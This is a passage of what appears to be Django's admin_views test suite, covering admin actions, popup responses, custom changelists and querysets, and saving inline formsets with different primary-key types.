        self.assertContains(
            response,
            '<li>Answer: <a href="%s">Yes.</a></li>' % reverse('admin:admin_views_answer_change', args=(a2.pk,)),
            html=True
        )

        # A POST request to delete protected objects should display the page
        # which says the deletion is prohibited.
        response = self.client.post(reverse('admin:admin_views_question_changelist'), delete_confirmation_data)
        self.assertContains(response, "would require deleting the following protected related objects")
        self.assertEqual(Question.objects.count(), 2)

    def test_model_admin_default_delete_action_no_change_url(self):
        """
        Default delete action shouldn't break if a user's ModelAdmin removes the url for change_view.

        Regression test for #20640
        """
        obj = UnchangeableObject.objects.create()
        action_data = {
            ACTION_CHECKBOX_NAME: obj.pk,
            "action": "delete_selected",
            "index": "0",
        }
        response = self.client.post(reverse('admin:admin_views_unchangeableobject_changelist'), action_data)
        # No 500 caused by NoReverseMatch
        self.assertEqual(response.status_code, 200)
        # The page shouldn't display a link to the nonexistent change page
        self.assertContains(response, "<li>Unchangeable object: UnchangeableObject object</li>", 1, html=True)

    def test_custom_function_mail_action(self):
        "Tests a custom action defined in a function"
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'external_mail',
            'index': 0,
        }
        self.client.post(reverse('admin:admin_views_externalsubscriber_changelist'), action_data)
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Greetings from a function action')

    def test_custom_function_action_with_redirect(self):
        "Tests a custom action defined in a function"
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'redirect_to',
            'index': 0,
        }
        response = self.client.post(reverse('admin:admin_views_externalsubscriber_changelist'), action_data)
        self.assertEqual(response.status_code, 302)

    def test_default_redirect(self):
        """
        Test that actions which don't return an HttpResponse are redirected to
        the same page, retaining the querystring (which may contain changelist
        information).
        """
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'external_mail',
            'index': 0,
        }
        url = reverse('admin:admin_views_externalsubscriber_changelist') + '?o=1'
        response = self.client.post(url, action_data)
        self.assertRedirects(response, url)

    def test_custom_function_action_streaming_response(self):
        """Tests a custom action that returns a StreamingHttpResponse."""
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'download',
            'index': 0,
        }
        response = self.client.post(reverse('admin:admin_views_externalsubscriber_changelist'), action_data)
        content = b''.join(response.streaming_content)
        self.assertEqual(content, b'This is the content of the file')
        self.assertEqual(response.status_code, 200)

    def test_custom_function_action_no_perm_response(self):
        """Tests a custom action that returns an HttpResponse with 403 code."""
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            'action': 'no_perm',
            'index': 0,
        }
        response = self.client.post(reverse('admin:admin_views_externalsubscriber_changelist'), action_data)
        self.assertEqual(response.status_code, 403)
        self.assertEqual(response.content, b'No permission to perform this action')

    def test_actions_ordering(self):
        """
        Ensure that actions are ordered as expected.
        Refs #15964.
        """
        response = self.client.get(reverse('admin:admin_views_externalsubscriber_changelist'))
        self.assertContains(response, '''<label>Action: <select name="action" required>
<option value="" selected="selected">---------</option>
<option value="delete_selected">Delete selected external
subscribers</option>
<option value="redirect_to">Redirect to (Awesome action)</option>
<option value="external_mail">External mail (Another awesome
action)</option>
<option value="download">Download subscription</option>
<option value="no_perm">No permission to run</option>
</select>''', html=True)

    def test_model_without_action(self):
        "Tests a ModelAdmin without any action"
        response = self.client.get(reverse('admin:admin_views_oldsubscriber_changelist'))
        self.assertIsNone(response.context["action_form"])
        self.assertNotContains(
            response, '<input type="checkbox" class="action-select"',
            msg_prefix="Found an unexpected action toggle checkboxbox in response"
        )
        self.assertNotContains(response, '<input type="checkbox" class="action-select"')

    def test_model_without_action_still_has_jquery(self):
        "Tests that a ModelAdmin without any actions still gets jQuery included in page"
        response = self.client.get(reverse('admin:admin_views_oldsubscriber_changelist'))
        self.assertIsNone(response.context["action_form"])
        self.assertContains(
            response, 'jquery.min.js',
            msg_prefix="jQuery missing from admin pages for model with no admin actions"
        )

    def test_action_column_class(self):
        "Tests that the checkbox column class is present in the response"
        response = self.client.get(reverse('admin:admin_views_subscriber_changelist'))
        self.assertIsNotNone(response.context["action_form"])
        self.assertContains(response, 'action-checkbox-column')

    def test_multiple_actions_form(self):
        """
        Test that actions come from the form whose submit button was pressed (#10618).
        """
        action_data = {
            ACTION_CHECKBOX_NAME: [1],
            # Two different actions selected on the two forms...
            'action': ['external_mail', 'delete_selected'],
            # ...but we clicked "go" on the top form.
            'index': 0
        }
        self.client.post(reverse('admin:admin_views_externalsubscriber_changelist'), action_data)

        # Send mail, don't delete.
        self.assertEqual(len(mail.outbox), 1)
        self.assertEqual(mail.outbox[0].subject, 'Greetings from a function action')

    def test_media_from_actions_form(self):
        """
        The action form's media is included in changelist view's media.
        """
        response = self.client.get(reverse('admin:admin_views_subscriber_changelist'))
        media_path = MediaActionForm.Media.js[0]
        self.assertIsInstance(response.context['action_form'], MediaActionForm)
        self.assertIn('media', response.context)
        self.assertIn(media_path, response.context['media']._js)
        self.assertContains(response, media_path)

    def test_user_message_on_none_selected(self):
        """
        User should see a warning when 'Go' is pressed and no items are selected.
        """
        action_data = {
            ACTION_CHECKBOX_NAME: [],
            'action': 'delete_selected',
            'index': 0,
        }
        response = self.client.post(reverse('admin:admin_views_subscriber_changelist'), action_data)
        msg = """Items must be selected in order to perform actions on them. No items have been changed."""
        self.assertContains(response, msg)
        self.assertEqual(Subscriber.objects.count(), 2)

    def test_user_message_on_no_action(self):
        """
        User should see a warning when 'Go' is pressed and no action is selected.
        """
        action_data = {
            ACTION_CHECKBOX_NAME: [1, 2],
            'action': '',
            'index': 0,
        }
        response = self.client.post(reverse('admin:admin_views_subscriber_changelist'), action_data)
        msg = """No action selected."""
        self.assertContains(response, msg)
        self.assertEqual(Subscriber.objects.count(), 2)

    def test_selection_counter(self):
        """
        Check if the selection counter is there.
        """
        response = self.client.get(reverse('admin:admin_views_subscriber_changelist'))
        self.assertContains(response, '0 of 2 selected')

    def test_popup_actions(self):
        """ Actions should not be shown in popups. """
        response = self.client.get(reverse('admin:admin_views_subscriber_changelist'))
        self.assertIsNotNone(response.context["action_form"])
        response = self.client.get(
            reverse('admin:admin_views_subscriber_changelist') + '?%s' % IS_POPUP_VAR)
        self.assertIsNone(response.context["action_form"])

    def test_popup_template_response(self):
        """
        Success on popups shall be rendered from template in order to allow
        easy customization.
        """
        response = self.client.post(
            reverse('admin:admin_views_actor_add') + '?%s=1' % IS_POPUP_VAR,
            {'name': 'Troy McClure', 'age': '55', IS_POPUP_VAR: '1'})
        self.assertEqual(response.status_code, 200)
        self.assertEqual(response.template_name, 'admin/popup_response.html')

    def test_popup_template_escaping(self):
        popup_response_data = json.dumps({
            'new_value': 'new_value\\',
            'obj': 'obj\\',
            'value': 'value\\',
        })
        context = {
            'popup_response_data': popup_response_data,
        }
        output = render_to_string('admin/popup_response.html', context)
        self.assertIn(
            r'&quot;value\\&quot;', output
        )
        self.assertIn(
            r'&quot;new_value\\&quot;', output
        )
        self.assertIn(
            r'&quot;obj\\&quot;', output
        )


@override_settings(ROOT_URLCONF='admin_views.urls')
class TestCustomChangeList(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_custom_changelist(self):
        """
        Validate that a custom ChangeList class can be used (#9749)
        """
        # Insert some data
        post_data = {"name": "First Gadget"}
        response = self.client.post(reverse('admin:admin_views_gadget_add'), post_data)
        self.assertEqual(response.status_code, 302)  # redirect somewhere
        # Hit the page once to get messages out of the queue message list
        response = self.client.get(reverse('admin:admin_views_gadget_changelist'))
        # Ensure that data is still not visible on the page
        response = self.client.get(reverse('admin:admin_views_gadget_changelist'))
        self.assertEqual(response.status_code, 200)
        self.assertNotContains(response, 'First Gadget')


@override_settings(ROOT_URLCONF='admin_views.urls')
class TestInlineNotEditable(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

    def test_GET_parent_add(self):
        """
        InlineModelAdmin broken?
        """
        response = self.client.get(reverse('admin:admin_views_parent_add'))
        self.assertEqual(response.status_code, 200)


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminCustomQuerysetTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)
        self.pks = [EmptyModel.objects.create().id for i in range(3)]
        self.super_login = {
            REDIRECT_FIELD_NAME: reverse('admin:index'),
            'username': 'super',
            'password': 'secret',
        }

    def test_changelist_view(self):
        response = self.client.get(reverse('admin:admin_views_emptymodel_changelist'))
        for i in self.pks:
            if i > 1:
                self.assertContains(response, 'Primary key = %s' % i)
            else:
                self.assertNotContains(response, 'Primary key = %s' % i)

    def test_changelist_view_count_queries(self):
        # create 2 Person objects
        Person.objects.create(name='person1', gender=1)
        Person.objects.create(name='person2', gender=2)
        changelist_url = reverse('admin:admin_views_person_changelist')

        # 5 queries are expected: 1 for the session, 1 for the user,
        # 2 for the counts and 1 for the objects on the page
        with self.assertNumQueries(5):
            resp = self.client.get(changelist_url)
            self.assertEqual(resp.context['selection_note'], '0 of 2 selected')
            self.assertEqual(resp.context['selection_note_all'], 'All 2 selected')
        with self.assertNumQueries(5):
            extra = {'q': 'not_in_name'}
            resp = self.client.get(changelist_url, extra)
            self.assertEqual(resp.context['selection_note'], '0 of 0 selected')
            self.assertEqual(resp.context['selection_note_all'], 'All 0 selected')
        with self.assertNumQueries(5):
            extra = {'q': 'person'}
            resp = self.client.get(changelist_url, extra)
            self.assertEqual(resp.context['selection_note'], '0 of 2 selected')
            self.assertEqual(resp.context['selection_note_all'], 'All 2 selected')
        with self.assertNumQueries(5):
            extra = {'gender__exact': '1'}
            resp = self.client.get(changelist_url, extra)
            self.assertEqual(resp.context['selection_note'], '0 of 1 selected')
            self.assertEqual(resp.context['selection_note_all'], '1 selected')

    def test_change_view(self):
        for i in self.pks:
            response = self.client.get(reverse('admin:admin_views_emptymodel_change', args=(i,)))
            if i > 1:
                self.assertEqual(response.status_code, 200)
            else:
                self.assertEqual(response.status_code, 404)

    def test_add_model_modeladmin_defer_qs(self):
        # Test for #14529. defer() is used in ModelAdmin.get_queryset()

        # model has __str__ method
        self.assertEqual(CoverLetter.objects.count(), 0)
        # Emulate model instance creation via the admin
        post_data = {
            "author": "Candidate, Best",
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_coverletter_add'), post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(CoverLetter.objects.count(), 1)
        # Message should contain non-ugly model verbose name
        pk = CoverLetter.objects.all()[0].pk
        self.assertContains(
            response,
            '<li class="success">The cover letter "<a href="%s">'
            'Candidate, Best</a>" was added successfully.</li>' %
            reverse('admin:admin_views_coverletter_change', args=(pk,)), html=True
        )

        # model has no __str__ method
        self.assertEqual(ShortMessage.objects.count(), 0)
        # Emulate model instance creation via the admin
        post_data = {
            "content": "What's this SMS thing?",
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_shortmessage_add'), post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(ShortMessage.objects.count(), 1)
        # Message should contain non-ugly model verbose name
        pk = ShortMessage.objects.all()[0].pk
        self.assertContains(
            response,
            '<li class="success">The short message "<a href="%s">'
            'ShortMessage object</a>" was added successfully.</li>' %
            reverse('admin:admin_views_shortmessage_change', args=(pk,)), html=True
        )

    def test_add_model_modeladmin_only_qs(self):
        # Test for #14529. only() is used in ModelAdmin.get_queryset()

        # model has __str__ method
        self.assertEqual(Telegram.objects.count(), 0)
        # Emulate model instance creation via the admin
        post_data = {
            "title": "Urgent telegram",
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_telegram_add'), post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(Telegram.objects.count(), 1)
        # Message should contain non-ugly model verbose name
        pk = Telegram.objects.all()[0].pk
        self.assertContains(
            response,
            '<li class="success">The telegram "<a href="%s">'
            'Urgent telegram</a>" was added successfully.</li>' %
            reverse('admin:admin_views_telegram_change', args=(pk,)), html=True
        )

        # model has no __str__ method
        self.assertEqual(Paper.objects.count(), 0)
        # Emulate model instance creation via the admin
        post_data = {
            "title": "My Modified Paper Title",
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_paper_add'), post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(Paper.objects.count(), 1)
        # Message should contain non-ugly model verbose name
        pk = Paper.objects.all()[0].pk
        self.assertContains(
            response,
            '<li class="success">The paper "<a href="%s">'
            'Paper object</a>" was added successfully.</li>' %
            reverse('admin:admin_views_paper_change', args=(pk,)), html=True
        )

    def test_edit_model_modeladmin_defer_qs(self):
        # Test for #14529. defer() is used in ModelAdmin.get_queryset()

        # model has __str__ method
        cl = CoverLetter.objects.create(author="John Doe")
        self.assertEqual(CoverLetter.objects.count(), 1)
        response = self.client.get(reverse('admin:admin_views_coverletter_change', args=(cl.pk,)))
        self.assertEqual(response.status_code, 200)
        # Emulate model instance edit via the admin
        post_data = {
            "author": "John Doe II",
            "_save": "Save",
        }
        url = reverse('admin:admin_views_coverletter_change', args=(cl.pk,))
        response = self.client.post(url, post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(CoverLetter.objects.count(), 1)
        # Message should contain non-ugly model verbose name. Instance
        # representation is set by model's __str__()
        self.assertContains(
            response,
            '<li class="success">The cover letter "<a href="%s">'
            'John Doe II</a>" was changed successfully.</li>' %
            reverse('admin:admin_views_coverletter_change', args=(cl.pk,)), html=True
        )

        # model has no __str__ method
        sm = ShortMessage.objects.create(content="This is expensive")
        self.assertEqual(ShortMessage.objects.count(), 1)
        response = self.client.get(reverse('admin:admin_views_shortmessage_change', args=(sm.pk,)))
        self.assertEqual(response.status_code, 200)
        # Emulate model instance edit via the admin
        post_data = {
            "content": "Too expensive",
            "_save": "Save",
        }
        url = reverse('admin:admin_views_shortmessage_change', args=(sm.pk,))
        response = self.client.post(url, post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(ShortMessage.objects.count(), 1)
        # Message should contain non-ugly model verbose name. The ugly(!)
        # instance representation is set by six.text_type()
        self.assertContains(
            response,
            '<li class="success">The short message "<a href="%s">'
            'ShortMessage object</a>" was changed successfully.</li>' %
            reverse('admin:admin_views_shortmessage_change', args=(sm.pk,)), html=True
        )

    def test_edit_model_modeladmin_only_qs(self):
        # Test for #14529. only() is used in ModelAdmin.get_queryset()

        # model has __str__ method
        t = Telegram.objects.create(title="Frist Telegram")
        self.assertEqual(Telegram.objects.count(), 1)
        response = self.client.get(reverse('admin:admin_views_telegram_change', args=(t.pk,)))
        self.assertEqual(response.status_code, 200)
        # Emulate model instance edit via the admin
        post_data = {
            "title": "Telegram without typo",
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_telegram_change', args=(t.pk,)), post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(Telegram.objects.count(), 1)
        # Message should contain non-ugly model verbose name. The instance
        # representation is set by model's __str__()
        self.assertContains(
            response,
            '<li class="success">The telegram "<a href="%s">'
            'Telegram without typo</a>" was changed successfully.</li>' %
            reverse('admin:admin_views_telegram_change', args=(t.pk,)), html=True
        )

        # model has no __str__ method
        p = Paper.objects.create(title="My Paper Title")
        self.assertEqual(Paper.objects.count(), 1)
        response = self.client.get(reverse('admin:admin_views_paper_change', args=(p.pk,)))
        self.assertEqual(response.status_code, 200)
        # Emulate model instance edit via the admin
        post_data = {
            "title": "My Modified Paper Title",
            "_save": "Save",
        }
        response = self.client.post(reverse('admin:admin_views_paper_change', args=(p.pk,)), post_data, follow=True)
        self.assertEqual(response.status_code, 200)
        self.assertEqual(Paper.objects.count(), 1)
        # Message should contain non-ugly model verbose name. The ugly(!)
        # instance representation is set by six.text_type()
        self.assertContains(
            response,
            '<li class="success">The paper "<a href="%s">'
            'Paper object</a>" was changed successfully.</li>' %
            reverse('admin:admin_views_paper_change', args=(p.pk,)), html=True
        )

    def test_history_view_custom_qs(self):
        """
        Ensure that custom querysets are considered for the admin history view.
        Refs #21013.
        """
        self.client.post(reverse('admin:login'), self.super_login)
        FilteredManager.objects.create(pk=1)
        FilteredManager.objects.create(pk=2)
        response = self.client.get(reverse('admin:admin_views_filteredmanager_changelist'))
        self.assertContains(response, "PK=1")
        self.assertContains(response, "PK=2")
        self.assertEqual(
            self.client.get(reverse('admin:admin_views_filteredmanager_history', args=(1,))).status_code, 200
        )
        self.assertEqual(
            self.client.get(reverse('admin:admin_views_filteredmanager_history', args=(2,))).status_code, 200
        )


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminInlineFileUploadTest(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.client.force_login(self.superuser)

        # Set up test Picture and Gallery.
        # These must be set up here instead of in fixtures in order to allow Picture
        # to use a NamedTemporaryFile.
        file1 = tempfile.NamedTemporaryFile(suffix=".file1")
        file1.write(b'a' * (2 ** 21))
        filename = file1.name
        file1.close()
        self.gallery = Gallery(name="Test Gallery")
        self.gallery.save()
        self.picture = Picture(name="Test Picture", image=filename, gallery=self.gallery)
        self.picture.save()

    def test_inline_file_upload_edit_validation_error_post(self):
        """
        Test that inline file uploads correctly display prior data (#10002).
        """
        post_data = {
            "name": "Test Gallery",
            "pictures-TOTAL_FORMS": "2",
            "pictures-INITIAL_FORMS": "1",
            "pictures-MAX_NUM_FORMS": "0",
            "pictures-0-id": six.text_type(self.picture.id),
            "pictures-0-gallery": six.text_type(self.gallery.id),
            "pictures-0-name": "Test Picture",
            "pictures-0-image": "",
            "pictures-1-id": "",
            "pictures-1-gallery": str(self.gallery.id),
            "pictures-1-name": "Test Picture 2",
            "pictures-1-image": "",
        }
        response = self.client.post(
            reverse('admin:admin_views_gallery_change', args=(self.gallery.id,)), post_data
        )
        self.assertContains(response, b"Currently")


@override_settings(ROOT_URLCONF='admin_views.urls')
class AdminInlineTests(TestCase):

    @classmethod
    def setUpTestData(cls):
        cls.superuser = User.objects.create_superuser(username='super', password='secret', email='super@example.com')

    def setUp(self):
        self.post_data = {
            "name": "Test Name",

            "widget_set-TOTAL_FORMS": "3",
            "widget_set-INITIAL_FORMS": "0",
            "widget_set-MAX_NUM_FORMS": "0",
            "widget_set-0-id": "",
            "widget_set-0-owner": "1",
            "widget_set-0-name": "",
            "widget_set-1-id": "",
            "widget_set-1-owner": "1",
            "widget_set-1-name": "",
            "widget_set-2-id": "",
            "widget_set-2-owner": "1",
            "widget_set-2-name": "",

            "doohickey_set-TOTAL_FORMS": "3",
            "doohickey_set-INITIAL_FORMS": "0",
            "doohickey_set-MAX_NUM_FORMS": "0",
            "doohickey_set-0-owner": "1",
            "doohickey_set-0-code": "",
            "doohickey_set-0-name": "",
            "doohickey_set-1-owner": "1",
            "doohickey_set-1-code": "",
            "doohickey_set-1-name": "",
            "doohickey_set-2-owner": "1",
            "doohickey_set-2-code": "",
            "doohickey_set-2-name": "",

            "grommet_set-TOTAL_FORMS": "3",
            "grommet_set-INITIAL_FORMS": "0",
            "grommet_set-MAX_NUM_FORMS": "0",
            "grommet_set-0-code": "",
            "grommet_set-0-owner": "1",
            "grommet_set-0-name": "",
            "grommet_set-1-code": "",
            "grommet_set-1-owner": "1",
            "grommet_set-1-name": "",
            "grommet_set-2-code": "",
            "grommet_set-2-owner": "1",
            "grommet_set-2-name": "",

            "whatsit_set-TOTAL_FORMS": "3",
            "whatsit_set-INITIAL_FORMS": "0",
            "whatsit_set-MAX_NUM_FORMS": "0",
            "whatsit_set-0-owner": "1",
            "whatsit_set-0-index": "",
            "whatsit_set-0-name": "",
            "whatsit_set-1-owner": "1",
            "whatsit_set-1-index": "",
            "whatsit_set-1-name": "",
            "whatsit_set-2-owner": "1",
            "whatsit_set-2-index": "",
            "whatsit_set-2-name": "",

            "fancydoodad_set-TOTAL_FORMS": "3",
            "fancydoodad_set-INITIAL_FORMS": "0",
            "fancydoodad_set-MAX_NUM_FORMS": "0",
            "fancydoodad_set-0-doodad_ptr": "",
            "fancydoodad_set-0-owner": "1",
            "fancydoodad_set-0-name": "",
            "fancydoodad_set-0-expensive": "on",
            "fancydoodad_set-1-doodad_ptr": "",
            "fancydoodad_set-1-owner": "1",
            "fancydoodad_set-1-name": "",
            "fancydoodad_set-1-expensive": "on",
            "fancydoodad_set-2-doodad_ptr": "",
            "fancydoodad_set-2-owner": "1",
            "fancydoodad_set-2-name": "",
            "fancydoodad_set-2-expensive": "on",

            "category_set-TOTAL_FORMS": "3",
            "category_set-INITIAL_FORMS": "0",
            "category_set-MAX_NUM_FORMS": "0",
            "category_set-0-order": "",
            "category_set-0-id": "",
            "category_set-0-collector": "1",
            "category_set-1-order": "",
            "category_set-1-id": "",
            "category_set-1-collector": "1",
            "category_set-2-order": "",
            "category_set-2-id": "",
            "category_set-2-collector": "1",
        }

        self.client.force_login(self.superuser)
        self.collector = Collector(pk=1, name='John Fowles')
        self.collector.save()

    def test_simple_inline(self):
        "A simple model can be saved as inlines"
        # First add a new inline
        self.post_data['widget_set-0-name'] = "Widget 1"
        collector_url = reverse('admin:admin_views_collector_change', args=(self.collector.pk,))
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Widget.objects.count(), 1)
        self.assertEqual(Widget.objects.all()[0].name, "Widget 1")
        widget_id = Widget.objects.all()[0].id

        # Check that the PK link exists on the rendered form
        response = self.client.get(collector_url)
        self.assertContains(response, 'name="widget_set-0-id"')

        # Now resave that inline
        self.post_data['widget_set-INITIAL_FORMS'] = "1"
        self.post_data['widget_set-0-id'] = str(widget_id)
        self.post_data['widget_set-0-name'] = "Widget 1"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Widget.objects.count(), 1)
        self.assertEqual(Widget.objects.all()[0].name, "Widget 1")

        # Now modify that inline
        self.post_data['widget_set-INITIAL_FORMS'] = "1"
        self.post_data['widget_set-0-id'] = str(widget_id)
        self.post_data['widget_set-0-name'] = "Widget 1 Updated"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Widget.objects.count(), 1)
        self.assertEqual(Widget.objects.all()[0].name, "Widget 1 Updated")

    def test_explicit_autofield_inline(self):
        "A model with an explicit autofield primary key can be saved as inlines. Regression for #8093"
        # First add a new inline
        self.post_data['grommet_set-0-name'] = "Grommet 1"
        collector_url = reverse('admin:admin_views_collector_change', args=(self.collector.pk,))
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Grommet.objects.count(), 1)
        self.assertEqual(Grommet.objects.all()[0].name, "Grommet 1")

        # Check that the PK link exists on the rendered form
        response = self.client.get(collector_url)
        self.assertContains(response, 'name="grommet_set-0-code"')

        # Now resave that inline
        self.post_data['grommet_set-INITIAL_FORMS'] = "1"
        self.post_data['grommet_set-0-code'] = str(Grommet.objects.all()[0].code)
        self.post_data['grommet_set-0-name'] = "Grommet 1"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Grommet.objects.count(), 1)
        self.assertEqual(Grommet.objects.all()[0].name, "Grommet 1")

        # Now modify that inline
        self.post_data['grommet_set-INITIAL_FORMS'] = "1"
        self.post_data['grommet_set-0-code'] = str(Grommet.objects.all()[0].code)
        self.post_data['grommet_set-0-name'] = "Grommet 1 Updated"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Grommet.objects.count(), 1)
        self.assertEqual(Grommet.objects.all()[0].name, "Grommet 1 Updated")

    def test_char_pk_inline(self):
        "A model with a character PK can be saved as inlines. Regression for #10992"
        # First add a new inline
        self.post_data['doohickey_set-0-code'] = "DH1"
        self.post_data['doohickey_set-0-name'] = "Doohickey 1"
        collector_url = reverse('admin:admin_views_collector_change', args=(self.collector.pk,))
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(DooHickey.objects.count(), 1)
        self.assertEqual(DooHickey.objects.all()[0].name, "Doohickey 1")

        # Check that the PK link exists on the rendered form
        response = self.client.get(collector_url)
        self.assertContains(response, 'name="doohickey_set-0-code"')

        # Now resave that inline
        self.post_data['doohickey_set-INITIAL_FORMS'] = "1"
        self.post_data['doohickey_set-0-code'] = "DH1"
        self.post_data['doohickey_set-0-name'] = "Doohickey 1"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(DooHickey.objects.count(), 1)
        self.assertEqual(DooHickey.objects.all()[0].name, "Doohickey 1")

        # Now modify that inline
        self.post_data['doohickey_set-INITIAL_FORMS'] = "1"
        self.post_data['doohickey_set-0-code'] = "DH1"
        self.post_data['doohickey_set-0-name'] = "Doohickey 1 Updated"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(DooHickey.objects.count(), 1)
        self.assertEqual(DooHickey.objects.all()[0].name, "Doohickey 1 Updated")

    def test_integer_pk_inline(self):
        "A model with an integer PK can be saved as inlines. Regression for #10992"
        # First add a new inline
        self.post_data['whatsit_set-0-index'] = "42"
        self.post_data['whatsit_set-0-name'] = "Whatsit 1"
        collector_url = reverse('admin:admin_views_collector_change', args=(self.collector.pk,))
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Whatsit.objects.count(), 1)
        self.assertEqual(Whatsit.objects.all()[0].name, "Whatsit 1")

        # Check that the PK link exists on the rendered form
        response = self.client.get(collector_url)
        self.assertContains(response, 'name="whatsit_set-0-index"')

        # Now resave that inline
        self.post_data['whatsit_set-INITIAL_FORMS'] = "1"
        self.post_data['whatsit_set-0-index'] = "42"
        self.post_data['whatsit_set-0-name'] = "Whatsit 1"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Whatsit.objects.count(), 1)
        self.assertEqual(Whatsit.objects.all()[0].name, "Whatsit 1")

        # Now modify that inline
        self.post_data['whatsit_set-INITIAL_FORMS'] = "1"
        self.post_data['whatsit_set-0-index'] = "42"
        self.post_data['whatsit_set-0-name'] = "Whatsit 1 Updated"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(Whatsit.objects.count(), 1)
        self.assertEqual(Whatsit.objects.all()[0].name, "Whatsit 1 Updated")

    def test_inherited_inline(self):
        "An inherited model can be saved as inlines. Regression for #11042"
        # First add a new inline
        self.post_data['fancydoodad_set-0-name'] = "Fancy Doodad 1"
        collector_url = reverse('admin:admin_views_collector_change', args=(self.collector.pk,))
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(FancyDoodad.objects.count(), 1)
        self.assertEqual(FancyDoodad.objects.all()[0].name, "Fancy Doodad 1")
        doodad_pk = FancyDoodad.objects.all()[0].pk

        # Check that the PK link exists on the rendered form
        response = self.client.get(collector_url)
        self.assertContains(response, 'name="fancydoodad_set-0-doodad_ptr"')

        # Now resave that inline
        self.post_data['fancydoodad_set-INITIAL_FORMS'] = "1"
        self.post_data['fancydoodad_set-0-doodad_ptr'] = str(doodad_pk)
        self.post_data['fancydoodad_set-0-name'] = "Fancy Doodad 1"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(FancyDoodad.objects.count(), 1)
        self.assertEqual(FancyDoodad.objects.all()[0].name, "Fancy Doodad 1")

        # Now modify that inline
        self.post_data['fancydoodad_set-INITIAL_FORMS'] = "1"
        self.post_data['fancydoodad_set-0-doodad_ptr'] = str(doodad_pk)
        self.post_data['fancydoodad_set-0-name'] = "Fancy Doodad 1 Updated"
        response = self.client.post(collector_url, self.post_data)
        self.assertEqual(response.status_code, 302)
        self.assertEqual(FancyDoodad.objects.count(), 1)
        self.assertEqual(FancyDoodad.objects.all()[0].name, "Fancy Doodad 1 Updated")

    def test_ordered_inline(self):
        """Check that an inline with an editable ordering fields is
        updated correctly. Regression for #10922"""
        # Create some objects with an initial ordering
        Category.objects.create(id=1, order=1, collector=self.collector)
        Category.objects.create(id=2, order=2, collector=self.collector)
        Category.objects.create(id=3, order=0, collector=self.collector)
        Category.objects.create(id=4, order=0, collector=self.collector)

        # NB: The order values must be changed so that the items are reordered.
        self.post_data.update({
            "name": "Frederick Clegg",

            "category_set-TOTAL_FORMS": "7",
            "category_set-INITIAL_FORMS": "4",
            "category_set-MAX_NUM_FORMS": "0",

            "category_set-0-order": "14",
            "category_set-0-id": "1",
            "category_set-0-collector": "1",

            "category_set-1-order": "13",
            "category_set-1-id": "2",
            "category_set-1-collector": "1",

            "category_set-2-order": "1",
            "category_set-2-id": "3",
            "category_set-2-collector": "1",

            "category_set-3-order": "0",
            "category_set-3-id": "4",
            "category_set-3-collector": "1",

            "category_set-4-order": "",
            "category_set-4-id": "",
            "category_set-4-collector": "1",

            "category_set-5-order": "",
            "category_set-5-id": "",
            "category_set-5-collector": "1",

            "category_set-6-order": "",
            "category_set-6-id": "",
            "category_set-6-collector": "1",
        })
        collector_url = reverse('admin:admin_views_collector_change', args=(self.collector.pk,))
        response = self.client.post(collector_url, self.post_data)
        # Successful post will redirect
        self.assertEqual(response.status_code, 302)

        # Check that the order values have been applied to the right objects
        self.assertEqual(self.collector.category_set.count(), 4)
        self.assertEqual(Category.objects.get(id=1).order, 14)
        self.assertEqual(Category.objects.get(id=2).order, 13)
        self.assertEqual(Category.objects.get(id=3).order, 1)
